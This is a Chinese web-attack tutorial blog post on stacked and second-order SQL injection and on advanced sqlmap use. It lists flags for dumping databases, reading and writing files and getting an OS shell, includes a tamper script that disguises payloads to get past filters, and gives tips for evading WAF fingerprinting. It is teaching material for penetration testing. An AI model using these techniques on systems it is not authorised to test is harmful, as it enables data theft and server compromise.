Web攻防-SQL注入&二次攻击&堆叠执行&SQLMAP&Tamper编写&指纹修改&分析调试

发布于:2025-06-09 ⋅ 阅读:(20) ⋅ 点赞:(0)

知识点:
1、Web攻防-SQL注入-堆叠&二次注入
2、Web攻防-SQL注入-SQLMAP进阶使用

一、演示案例-WEB攻防-SQL注入-堆叠注入&二次注入

堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL、MSSQL、Postgresql
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二次注入

在这里插入图片描述

原理:注册(写入payload)-登录后修改-修改时以当前用户名为条件触发
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

在这里插入图片描述

正常用户注册、登录、修改密码操作

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二次注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-SQLMAP&Tamper使用

在这里插入图片描述

1、SqlMap使用

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

2、数据猜解-常规数据获取&库表列数据&字典

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

获取当前数据库

--current-db

在这里插入图片描述
在这里插入图片描述

根据数据库名获取对应的表名

--tables -D "数据库名"

在这里插入图片描述
在这里插入图片描述

根据数据库名及表名获取对应的列名

--columns -T "表名" -D "数据库名"

在这里插入图片描述

获取具体的列名数据

--dump  -C "email,username" -T "表名" -D "数据库名"

在这里插入图片描述

跨库注入

--dbs //获取所有数据库名

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、高权限操作-文件&命令&交互式

引出权限大小

--is-dba 

在这里插入图片描述

引出文件-读

--file-read

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

引出文件-写

--file-write --file-dest

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

引出命令-执行命令

--os-cmd=whoami 

在这里插入图片描述
在这里插入图片描述

引出命令-交互式命令

--os-shell

在这里插入图片描述

引出命令-执行sql语句

--sql-shell

在这里插入图片描述

4、提交方法-POST&Cookie&JSON

对POST数据进行注入

 --data ""

在这里插入图片描述
在这里插入图片描述

对cookie数据进行注入

--cookie "" 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

对整个数据包进行注入(推荐)

-r 1.txt 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、绕过模块-Tamper脚本-使用&开发

在这里插入图片描述

测试:base64注入

--tamper=base64encode.py

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

测试:base64+json注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

测试:base64+json注入&再加有过滤的注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

--tamper=test.py

在这里插入图片描述

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOW
 
def dependencies():
pass
 
def tamper(payload, **kwargs):
    if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('select','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('or','Or')
payload = payload.replace('AND','And')
payload = payload.replace('and','And')
payload = payload.replace('XOR','xOr')
payload = payload.replace('xor','xOr')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('sleep','SleeP')
payload = payload.replace('ELT','Elt')
    return encodeBase64(payload, binary=False) if payload else payload

在这里插入图片描述
在这里插入图片描述

6、分析拓展-代理&调试&指纹&风险&等级

后期分析调试-显示调试信息

-v 0-6
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

后期分析调试-联动代理进行调试分析

--proxy "http://127.0.0.1:8080" 
--proxy=http://127.0.0.1:1080

在这里插入图片描述
在这里插入图片描述

打乱默认指纹-绕过流量设备识别sqlmap-自定义user-agent

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www/baidu.com/search/spider.html)

打乱默认指纹-绕过流量设备识别sqlmap-随机user-agent

--random-agent

打乱默认指纹-绕过流量设备识别sqlmap-设定两个HTTP请求的间隔时间

--delay 默认是没有任何间隔,有waf的话,会直接拦截,因为sqlMAP在一瞬间发包量很大,WAF会认为是DD攻击,这个时候就可以利用这个参数绕过或者直接修改SQLMAP的user-agent

使用更多方式类型注入-执行的测试水平等级

--level 1-5
默认是1,cookie需要等级2,HTTP头注入要3以上才行,如果前三个等级都没有找到有效的注入点,可以考虑使用Level 4和Level 5进行更全面的探测。这些等级会使用更多的payload和复杂的注入技术,如联合查询注入、堆叠查询注入等

使用更多方式类型注入-执行的测试风险等级

--risk= 1-3
共有3个等级,对测试的语句有影响,默认为1